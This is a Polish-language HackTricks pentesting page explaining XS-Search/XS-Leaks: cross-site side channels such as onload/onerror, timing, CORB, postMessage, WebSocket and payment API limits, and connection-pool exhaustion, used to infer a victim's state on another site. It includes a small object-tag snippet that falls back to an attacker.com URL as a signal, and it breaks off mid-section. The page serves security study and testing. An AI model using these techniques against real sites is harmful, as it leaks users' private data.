hacktricks/pentesting-web/xs-search.md

# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Wsparcie HackTricks</summary>

* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.

</details>
{% endhint %}

## Podstawowe informacje

XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**.

Kluczowe komponenty zaangażowane w ten atak obejmują:

* **Wrażliwa strona internetowa**: Strona docelowa, z której zamierzamy wyodrębnić informacje.
* **Strona internetowa atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
* **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony w Stronę Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
* **Technika wycieku**: Techniki używane do rozróżniania różnic w stanie Wrażliwej Strony na podstawie informacji zebranych za pomocą metody włączenia.
* **Stany**: Dwa potencjalne warunki Wrażliwej Strony, które atakujący stara się rozróżnić.
* **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony.

### Wykrywalne różnice

Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony:

* **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
* **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
* **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
* **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
* **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
* **Czas**: Zauważenie stałych różnic czasowych między dwoma stanami.

### Metody włączenia

* **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
* **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
* **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając, czy podążać za przekierowaniami HTTP.

### Techniki wycieku

* **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak **onload** i **onerror** dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
* **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
* **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
* **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs historii) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron z różnych źródeł.
* **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
* **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.

## Narzędzie XSinator i dokument

XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w jego dokumencie: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

Możesz **uzyskać dostęp do narzędzia w** [**https://xsinator.com/**](https://xsinator.com/)

{% hint style="warning" %}
**Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje CrossOrigin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często są wolne, hałaśliwe i niedokładne.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **Techniki oparte na czasie**

Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.

**Zegary**: API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) pozwala programistom uzyskać pomiary czasu o wysokiej rozdzielczości.\
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia niejawnych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast\_Channel\_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Techniki obsługi zdarzeń

### Onload/Onerror

* **Metody włączenia**: Ramki, elementy HTML
* **Wykrywalna różnica**: Kod statusu
* **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Podsumowanie**: Jeśli próbujesz załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, co pozwala ustalić kod statusu.
* **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).

Istnieje również wersja tego ataku bez skryptów:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie `attacker.com/?error`.

### Onload Timing

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Podsumowanie:** API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **może być używane do pomiaru, ile czasu zajmuje wykonanie żądania.** Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Wymuszone Ciężkie Zadanie

Ta technika jest podobna do poprzedniej, ale **atakujący** również **wymusi** pewną akcję, aby zajęła **odpowiednią ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna** i zmierzy ten czas.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScript. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScript, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**:
* **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
* **Przykład kodu**:

Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**.

Możesz **sprawić, aby ofiara wyszukiwała** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hasha** w URL.

Na przykład:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz** część **hash** URL, **zdarzenie onload** **nie zostanie wywołane** ponownie. Ale **jeśli** strona miała jakiś rodzaj **błędu** podczas **ładowania**, to **zdarzenie onload** zostanie **wywołane ponownie**.

Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stroną, która ma **błąd** podczas dostępu.

### Wykonanie Javascript

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**:
* **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, którą można **kontrolować** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
* **Przykład kodu:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Metody włączenia**: Elementy HTML
* **Wykrywalna różnica**: Kod statusu i nagłówki
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść odpowiedzi i nagłówki. Atakujący obserwujący to mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
* **Przykład kodu**:

Sprawdź link do więcej informacji, aby uzyskać więcej informacji o ataku.

### onblur

* **Metody włączenia**: Ramki
* **Wykrywalna różnica**: Zawartość strony
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Podsumowanie**: Wycieki wrażliwych danych z atrybutu id lub name.
* **Przykład kodu**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Możliwe jest **załadowanie strony** wewnątrz **iframe** i użycie **`#id_value`**, aby skupić stronę na elemencie iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
Możesz przeprowadzić ten sam atak z tagami **`portal`**.

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Metody włączenia**: Ramki, Pop-upy
* **Wykrywalna różnica**: Użycie API
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Podsumowanie**: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakula do poznania statusu użytkownika na stronie
* **Przykład kodu**: `Jakikolwiek kod nasłuchujący wszystkie postMessages.`

Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Techniki globalnych limitów

### WebSocket API

* **Metody włączenia**: Ramki, Pop-upy
* **Wykrywalna różnica**: Użycie API
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Podsumowanie**: Wyciekanie liczby połączeń WebSocket strony z innego źródła przez wyczerpanie limitu połączeń WebSocket.
* **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.

Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.

### Payment API

* **Metody włączenia**: Ramki, Pop-upy
* **Wykrywalna różnica**: Użycie API
* **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Podsumowanie**: Wykrywanie żądania płatności, ponieważ tylko jedno może być aktywne w danym czasie.
* **Przykład kodu**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.

Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.

### Mierzenie pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Metody włączenia**:
* **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Podsumowanie:** Mierzenie czasu wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
* **Przykład kodu**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może zmierzyć czas wykonania swojego kodu w pętli zdarzeń, nieustannie wysyłając zdarzenia o stałych właściwościach. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.

{% hint style="warning" %}
W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
{% endhint %}

### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Metody włączenia**:
* **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchronizowane wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
* **Przykład kodu**:

Znaczną zaletą techniki mierzenia czasu wykonania przez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej na obserwacji wpływu działań tego źródła na wspólną pętlę zdarzeń, tym samym omijając ochronne bariery ustanowione przez **Izolację Stron**.

{% hint style="warning" %}
W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
{% endhint %}

### Pula połączeń

* **Metody włączenia**: Żądania JavaScript
* **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
* **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas, aż ostatnia strona zacznie się ładować, to czas, jaki zajęła strona docelowa.
* **Przykład kodu**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ograniczonych zasobów systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucać limit** na liczbę równoczesnych gniazd. Atakujący mogą wykorzystać to ograniczenie poprzez następujące kroki:

1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych w celu utrzymania połączeń otwartych bez ich zakończenia.
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie będzie oczekiwać, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieciowej związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że jakiekolwiek nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem, jaki zajmuje zakończenie żądania do strony docelowej.

Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)

### Pula połączeń według docelowego

* **Metody włączenia**: Żądania JavaScript
* **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
* **Więcej informacji**:
* **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli udało nam się sprawić, aby **strona ofiary wysłała** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.

## Techniki API wydajności

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. W szczególności, gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.

Ta bogata baza danych może być pobierana za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), zapewniając kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API ułatwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasu uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.

Poza pomiarami czasowymi, API wydajności może być wykorzystywane do uzyskiwania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.

### Wyciek błędu

* **Metody włączenia**: Ramki, Elementy HTML
* **Wykrywalna różnica**: Kod statusu
